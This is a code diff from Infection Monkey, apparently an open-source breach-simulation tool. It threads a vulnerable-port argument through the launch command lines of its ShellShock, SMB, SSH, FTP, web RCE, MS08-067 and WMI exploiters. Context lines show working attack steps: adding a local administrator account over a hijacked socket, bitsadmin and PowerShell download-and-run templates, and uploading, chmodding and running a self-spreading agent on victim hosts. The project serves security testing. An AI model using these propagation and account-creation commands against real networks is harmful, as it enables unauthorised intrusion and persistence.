||||||
@staticmethod
|
@staticmethod
|
||||||
def is_share_writable(smb_client, share):
|
def is_share_writable(smb_client, share):
|
||||||
|
|
|
@ -144,7 +144,11 @@ class ShellShockExploiter(HostExploiter):
|
||||||
|
|
||||||
# run the monkey
|
# run the monkey
|
||||||
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
||||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_target_path_linux) + ' & '
|
cmdline += build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
HTTPTools.get_port_from_url(url),
|
||||||
|
dropper_target_path_linux)
|
||||||
|
cmdline += ' & '
|
||||||
run_path = exploit + cmdline
|
run_path = exploit + cmdline
|
||||||
self.attack_page(url, header, run_path)
|
self.attack_page(url, header, run_path)
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,7 @@ from impacket.smbconnection import SMB_DIALECT
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||||
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
|
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS, VictimHost
|
||||||
from infection_monkey.network.smbfinger import SMBFinger
|
from infection_monkey.network.smbfinger import SMBFinger
|
||||||
from infection_monkey.network.tools import check_tcp_port
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
|
@ -28,6 +28,7 @@ class SmbExploiter(HostExploiter):
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(SmbExploiter, self).__init__(host)
|
super(SmbExploiter, self).__init__(host)
|
||||||
|
self.vulnerable_port = None
|
||||||
|
|
||||||
def is_os_supported(self):
|
def is_os_supported(self):
|
||||||
if super(SmbExploiter, self).is_os_supported():
|
if super(SmbExploiter, self).is_os_supported():
|
||||||
|
@ -99,14 +100,18 @@ class SmbExploiter(HostExploiter):
|
||||||
LOG.debug("Exploiter SmbExec is giving up...")
|
LOG.debug("Exploiter SmbExec is giving up...")
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
self.set_vulnerable_port(self.host)
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1,
|
build_monkey_commandline(self.host, get_monkey_depth() - 1,
|
||||||
|
self.vulnerable_port,
|
||||||
self._config.dropper_target_path_win_32)
|
self._config.dropper_target_path_win_32)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
vulnerable_port=self.vulnerable_port)
|
||||||
|
|
||||||
smb_conn = False
|
smb_conn = False
|
||||||
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
||||||
|
@ -158,3 +163,11 @@ class SmbExploiter(HostExploiter):
|
||||||
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
|
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
|
||||||
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
|
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
def set_vulnerable_port(self, host: VictimHost):
|
||||||
|
if 'tcp-445' in self.host.services:
|
||||||
|
self.vulnerable_port = "445"
|
||||||
|
elif 'tcp-139' in self.host.services:
|
||||||
|
self.vulnerable_port = "139"
|
||||||
|
else:
|
||||||
|
self.vulnerable_port = None
|
||||||
|
|
|
@ -179,7 +179,9 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
||||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
cmdline += build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
vulnerable_port=SSH_PORT)
|
||||||
cmdline += " > /dev/null 2>&1 &"
|
cmdline += " > /dev/null 2>&1 &"
|
||||||
ssh.exec_command(cmdline)
|
ssh.exec_command(cmdline)
|
||||||
|
|
||||||
|
|
|
@ -41,29 +41,32 @@ def get_target_monkey_by_os(is_windows, is_32bit):
|
||||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||||
|
|
||||||
|
|
||||||
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
|
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None,
|
||||||
|
vulnerable_port=None):
|
||||||
cmdline = ""
|
cmdline = ""
|
||||||
|
|
||||||
if parent is not None:
|
if parent is not None:
|
||||||
cmdline += " -p " + parent
|
cmdline += f" -p {parent}"
|
||||||
if tunnel is not None:
|
if tunnel is not None:
|
||||||
cmdline += " -t " + tunnel
|
cmdline += f" -t {tunnel}"
|
||||||
if server is not None:
|
if server is not None:
|
||||||
cmdline += " -s " + server
|
cmdline += f" -s {server}"
|
||||||
if depth is not None:
|
if depth is not None:
|
||||||
if depth < 0:
|
if int(depth) < 0:
|
||||||
depth = 0
|
depth = 0
|
||||||
cmdline += " -d %d" % depth
|
cmdline += f" -d {depth}"
|
||||||
if location is not None:
|
if location is not None:
|
||||||
cmdline += " -l %s" % location
|
cmdline += f" -l {location}"
|
||||||
|
if vulnerable_port is not None:
|
||||||
|
cmdline += f" -vp {vulnerable_port}"
|
||||||
|
|
||||||
return cmdline
|
return cmdline
|
||||||
|
|
||||||
|
|
||||||
def build_monkey_commandline(target_host, depth, location=None):
|
def build_monkey_commandline(target_host, depth, vulnerable_port, location=None):
|
||||||
from infection_monkey.config import GUID
|
from infection_monkey.config import GUID
|
||||||
return build_monkey_commandline_explicitly(
|
return build_monkey_commandline_explicitly(
|
||||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
GUID, target_host.default_tunnel, target_host.default_server, depth, location, vulnerable_port)
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_depth():
|
def get_monkey_depth():
|
||||||
|
|
|
@ -73,6 +73,10 @@ class HTTPTools(object):
|
||||||
lock.acquire()
|
lock.acquire()
|
||||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
|
return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_port_from_url(url: str) -> int:
|
||||||
|
return urllib.parse.urlparse(url).port
|
||||||
|
|
||||||
|
|
||||||
class MonkeyHTTPServer(HTTPTools):
|
class MonkeyHTTPServer(HTTPTools):
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
|
|
|
@ -0,0 +1,28 @@
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
|
||||||
|
|
||||||
|
|
||||||
|
class TestHelpers(unittest.TestCase):
|
||||||
|
|
||||||
|
def test_build_monkey_commandline_explicitly(self):
|
||||||
|
test1 = " -p 101010 -t 10.10.101.10 -s 127.127.127.127:5000 -d 0 -l C:\\windows\\abc -vp 80"
|
||||||
|
result1 = build_monkey_commandline_explicitly(101010,
|
||||||
|
"10.10.101.10",
|
||||||
|
"127.127.127.127:5000",
|
||||||
|
0,
|
||||||
|
"C:\\windows\\abc",
|
||||||
|
80)
|
||||||
|
|
||||||
|
test2 = " -p parent -s 127.127.127.127:5000 -d 0 -vp 80"
|
||||||
|
result2 = build_monkey_commandline_explicitly(parent="parent",
|
||||||
|
server="127.127.127.127:5000",
|
||||||
|
depth="0",
|
||||||
|
vulnerable_port="80")
|
||||||
|
|
||||||
|
self.assertEqual(test1, result1)
|
||||||
|
self.assertEqual(test2, result2)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
|
@ -132,7 +132,9 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
|
T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
|
||||||
|
|
||||||
# Run monkey on the machine
|
# Run monkey on the machine
|
||||||
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
parameters = build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
vulnerable_port=FTP_PORT)
|
||||||
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
|
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
|
||||||
|
|
||||||
# Set unlimited to memory
|
# Set unlimited to memory
|
||||||
|
|
|
@ -42,6 +42,8 @@ class WebRCE(HostExploiter):
|
||||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
self.vulnerable_urls = []
|
self.vulnerable_urls = []
|
||||||
|
self.target_url = None
|
||||||
|
self.vulnerable_port = None
|
||||||
|
|
||||||
def get_exploit_config(self):
|
def get_exploit_config(self):
|
||||||
"""
|
"""
|
||||||
|
@ -87,27 +89,30 @@ class WebRCE(HostExploiter):
|
||||||
if not self.vulnerable_urls:
|
if not self.vulnerable_urls:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
self.target_url = self.vulnerable_urls[0]
|
||||||
|
self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url)
|
||||||
|
|
||||||
# Skip if monkey already exists and this option is given
|
# Skip if monkey already exists and this option is given
|
||||||
if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]):
|
if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.target_url):
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
# Check for targets architecture (if it's 32 or 64 bit)
|
# Check for targets architecture (if it's 32 or 64 bit)
|
||||||
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]):
|
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Upload the right monkey to target
|
# Upload the right monkey to target
|
||||||
data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands'])
|
data = self.upload_monkey(self.target_url, exploit_config['upload_commands'])
|
||||||
|
|
||||||
if data is False:
|
if data is False:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Change permissions to transform monkey into executable file
|
# Change permissions to transform monkey into executable file
|
||||||
if self.change_permissions(self.vulnerable_urls[0], data['path']) is False:
|
if self.change_permissions(self.target_url, data['path']) is False:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Execute remote monkey
|
# Execute remote monkey
|
||||||
if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
|
if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
@ -403,10 +408,15 @@ class WebRCE(HostExploiter):
|
||||||
default_path = self.get_default_dropper_path()
|
default_path = self.get_default_dropper_path()
|
||||||
if default_path is False:
|
if default_path is False:
|
||||||
return False
|
return False
|
||||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
|
monkey_cmd = build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
self.vulnerable_port,
|
||||||
|
default_path)
|
||||||
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
|
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
|
||||||
else:
|
else:
|
||||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
monkey_cmd = build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
self.vulnerable_port)
|
||||||
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
|
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
|
||||||
try:
|
try:
|
||||||
LOG.info("Trying to execute monkey using command: {}".format(command))
|
LOG.info("Trying to execute monkey using command: {}".format(command))
|
||||||
|
@ -489,3 +499,6 @@ class WebRCE(HostExploiter):
|
||||||
except KeyError:
|
except KeyError:
|
||||||
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
|
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
|
||||||
return self._config.dropper_target_path_win_32
|
return self._config.dropper_target_path_win_32
|
||||||
|
|
||||||
|
def set_vulnerable_port_from_url(self, url):
|
||||||
|
self.vulnerable_port = HTTPTools.get_port_from_url(url)
|
||||||
|
|
|
@ -4,7 +4,6 @@ import time
|
||||||
import copy
|
import copy
|
||||||
|
|
||||||
from requests import post, exceptions
|
from requests import post, exceptions
|
||||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
|
||||||
|
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
|
|
|
@ -193,9 +193,9 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
sock.send("cmd /c (net user {} {} /add) &&"
|
sock.send("cmd /c (net user {} {} /add) &&"
|
||||||
" (net localgroup administrators {} /add)\r\n".format(
|
" (net localgroup administrators {} /add)\r\n".format(
|
||||||
self._config.user_to_add,
|
self._config.user_to_add,
|
||||||
self._config.remote_user_pass,
|
self._config.remote_user_pass,
|
||||||
self._config.user_to_add).encode())
|
self._config.user_to_add).encode())
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
reply = sock.recv(1000)
|
reply = sock.recv(1000)
|
||||||
|
|
||||||
|
@ -234,11 +234,15 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1,
|
build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
SRVSVC_Exploit.TELNET_PORT,
|
||||||
self._config.dropper_target_path_win_32)
|
self._config.dropper_target_path_win_32)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
vulnerable_port=SRVSVC_Exploit.TELNET_PORT)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.send("start %s\r\n" % (cmdline,))
|
sock.send("start %s\r\n" % (cmdline,))
|
||||||
|
|
|
@ -21,6 +21,7 @@ class WmiExploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||||
_EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)'
|
_EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)'
|
||||||
|
VULNERABLE_PORT = 135
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(WmiExploiter, self).__init__(host)
|
super(WmiExploiter, self).__init__(host)
|
||||||
|
@ -94,11 +95,15 @@ class WmiExploiter(HostExploiter):
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(
|
build_monkey_commandline(self.host,
|
||||||
self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
|
get_monkey_depth() - 1,
|
||||||
|
WmiExploiter.VULNERABLE_PORT,
|
||||||
|
self._config.dropper_target_path_win_32)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
WmiExploiter.VULNERABLE_PORT)
|
||||||
|
|
||||||
# execute the remote monkey
|
# execute the remote monkey
|
||||||
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
|
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
|
||||||
|
|
|
@ -14,10 +14,10 @@ MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
|
||||||
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
||||||
DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
|
DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
|
||||||
MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
|
MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
|
||||||
MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
|
MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' \
|
||||||
'/c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,)
|
'&cmd /c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,)
|
||||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
|
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & ' \
|
||||||
'file_path)s exit)) > NUL 2>&1 '
|
'if not exist %(file_path)s exit)) > NUL 2>&1 '
|
||||||
|
|
||||||
# Commands used for downloading monkeys
|
# Commands used for downloading monkeys
|
||||||
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \
|
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \
|
||||||
|
|
|
@ -10,6 +10,7 @@ from infection_monkey.network.HostFinger import HostFinger
|
||||||
from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
|
from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
|
||||||
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
|
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException
|
||||||
from infection_monkey.config import WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
from infection_monkey.control import ControlClient
|
from infection_monkey.control import ControlClient
|
||||||
from infection_monkey.model import DELAY_DELETE_CMD
|
from infection_monkey.model import DELAY_DELETE_CMD
|
||||||
|
@ -26,12 +27,13 @@ from infection_monkey.telemetry.trace_telem import TraceTelem
|
||||||
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
|
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
|
||||||
from infection_monkey.windows_upgrader import WindowsUpgrader
|
from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||||
from infection_monkey.network.tools import get_interface_to_target
|
from infection_monkey.network.tools import get_interface_to_target, is_running_on_server
|
||||||
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
|
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
|
||||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||||
from common.version import get_version
|
from common.version import get_version
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
|
from common.network.network_utils import get_host_from_network_location
|
||||||
|
|
||||||
MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, shutting down"
|
MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, shutting down"
|
||||||
|
|
||||||
|
@ -40,10 +42,6 @@ __author__ = 'itamar'
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class PlannedShutdownException(Exception):
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
class InfectionMonkey(object):
|
class InfectionMonkey(object):
|
||||||
def __init__(self, args):
|
def __init__(self, args):
|
||||||
self._keep_running = False
|
self._keep_running = False
|
||||||
|
@ -74,14 +72,20 @@ class InfectionMonkey(object):
|
||||||
arg_parser.add_argument('-t', '--tunnel')
|
arg_parser.add_argument('-t', '--tunnel')
|
||||||
arg_parser.add_argument('-s', '--server')
|
arg_parser.add_argument('-s', '--server')
|
||||||
arg_parser.add_argument('-d', '--depth', type=int)
|
arg_parser.add_argument('-d', '--depth', type=int)
|
||||||
|
arg_parser.add_argument('-vp', '--vulnerable-port')
|
||||||
self._opts, self._args = arg_parser.parse_known_args(self._args)
|
self._opts, self._args = arg_parser.parse_known_args(self._args)
|
||||||
|
self.log_arguments()
|
||||||
|
|
||||||
self._parent = self._opts.parent
|
self._parent = self._opts.parent
|
||||||
self._default_tunnel = self._opts.tunnel
|
self._default_tunnel = self._opts.tunnel
|
||||||
self._default_server = self._opts.server
|
self._default_server = self._opts.server
|
||||||
|
|
||||||
if self._opts.depth:
|
if self._opts.depth is not None:
|
||||||
WormConfiguration._depth_from_commandline = True
|
WormConfiguration._depth_from_commandline = True
|
||||||
|
WormConfiguration.depth = self._opts.depth
|
||||||
|
LOG.debug(f"Setting propagation depth from command line")
|
||||||
|
LOG.debug(f"Set propagation depth to {WormConfiguration.depth}")
|
||||||
|
|
||||||
self._keep_running = True
|
self._keep_running = True
|
||||||
self._network = NetworkScanner()
|
self._network = NetworkScanner()
|
||||||
self._dropper_path = sys.argv[0]
|
self._dropper_path = sys.argv[0]
|
||||||
|
@ -115,6 +119,10 @@ class InfectionMonkey(object):
|
||||||
|
|
||||||
self.shutdown_by_not_alive_config()
|
self.shutdown_by_not_alive_config()
|
||||||
|
|
||||||
|
if self.is_started_on_island():
|
||||||
|
ControlClient.report_start_on_island()
|
||||||
|
ControlClient.should_monkey_run(self._opts.vulnerable_port)
|
||||||
|
|
||||||
if firewall.is_enabled():
|
if firewall.is_enabled():
|
||||||
firewall.add_firewall_rule()
|
firewall.add_firewall_rule()
|
||||||
|
|
||||||
|
@ -376,3 +384,11 @@ class InfectionMonkey(object):
|
||||||
raise PlannedShutdownException("Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel))
|
raise PlannedShutdownException("Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel))
|
||||||
self._default_server = WormConfiguration.current_server
|
self._default_server = WormConfiguration.current_server
|
||||||
LOG.debug("default server set to: %s" % self._default_server)
|
LOG.debug("default server set to: %s" % self._default_server)
|
||||||
|
|
||||||
|
def is_started_on_island(self):
|
||||||
|
island_ip = get_host_from_network_location(self._default_server)
|
||||||
|
return is_running_on_server(island_ip) and WormConfiguration.depth == WormConfiguration.max_depth
|
||||||
|
|
||||||
|
def log_arguments(self):
|
||||||
|
arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()])
|
||||||
|
LOG.info(f"Monkey started with arguments: {arg_string}")
|
||||||
|
|
|
@ -51,18 +51,15 @@ if is_windows_os():
|
||||||
local_hostname = socket.gethostname()
|
local_hostname = socket.gethostname()
|
||||||
return socket.gethostbyname_ex(local_hostname)[2]
|
return socket.gethostbyname_ex(local_hostname)[2]
|
||||||
|
|
||||||
|
|
||||||
def get_routes():
|
def get_routes():
|
||||||
raise NotImplementedError()
|
raise NotImplementedError()
|
||||||
else:
|
else:
|
||||||
from fcntl import ioctl
|
from fcntl import ioctl
|
||||||
|
|
||||||
|
|
||||||
def local_ips():
|
def local_ips():
|
||||||
valid_ips = [network['addr'] for network in get_host_subnets()]
|
valid_ips = [network['addr'] for network in get_host_subnets()]
|
||||||
return valid_ips
|
return valid_ips
|
||||||
|
|
||||||
|
|
||||||
def get_routes(): # based on scapy implementation for route parsing
|
def get_routes(): # based on scapy implementation for route parsing
|
||||||
try:
|
try:
|
||||||
f = open("/proc/net/route", "r")
|
f = open("/proc/net/route", "r")
|
||||||
|
|
|
@ -7,7 +7,6 @@ import sys
|
||||||
import infection_monkey.config
|
import infection_monkey.config
|
||||||
from infection_monkey.network.HostFinger import HostFinger
|
from infection_monkey.network.HostFinger import HostFinger
|
||||||
from infection_monkey.network.HostScanner import HostScanner
|
from infection_monkey.network.HostScanner import HostScanner
|
||||||
from infection_monkey.model.host import VictimHost
|
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
|
|
@ -7,7 +7,7 @@ import struct
|
||||||
import time
|
import time
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from infection_monkey.network.info import get_routes
|
from infection_monkey.network.info import get_routes, local_ips
|
||||||
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||||
from infection_monkey.utils.environment import is_64bit_python
|
from infection_monkey.utils.environment import is_64bit_python
|
||||||
|
|
||||||
|
@ -309,3 +309,7 @@ def get_interface_to_target(dst):
|
||||||
paths.sort()
|
paths.sort()
|
||||||
ret = paths[-1][1]
|
ret = paths[-1][1]
|
||||||
return ret[1]
|
return ret[1]
|
||||||
|
|
||||||
|
|
||||||
|
def is_running_on_server(ip: str) -> bool:
|
||||||
|
return ip in local_ips()
|
||||||
|
|
|
@ -13,8 +13,7 @@ ipaddress
|
||||||
# See breaking change here: https://github.com/tjguk/wmi/commit/dcf8e3eca79bb8c0101ffb83e25c066b0ba9e16d
|
# See breaking change here: https://github.com/tjguk/wmi/commit/dcf8e3eca79bb8c0101ffb83e25c066b0ba9e16d
|
||||||
# Causes pip to error with:
|
# Causes pip to error with:
|
||||||
